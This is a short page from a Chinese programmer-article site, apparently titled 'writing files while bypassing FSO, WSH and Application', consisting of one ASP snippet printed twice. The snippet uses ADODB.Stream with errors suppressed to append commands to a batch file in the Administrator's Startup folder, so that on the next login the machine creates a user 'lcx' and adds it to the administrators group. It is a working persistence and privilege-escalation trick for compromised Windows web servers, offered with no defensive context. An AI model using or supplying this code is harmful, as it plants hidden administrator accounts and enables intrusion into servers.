欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

跨越fso、wsh、 application写文件

程序员文章站 2022-07-02 18:26:53
<% on error resume next dim lcxset lcx=server.createobject("adodb.stream") lcx.open...
<%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%>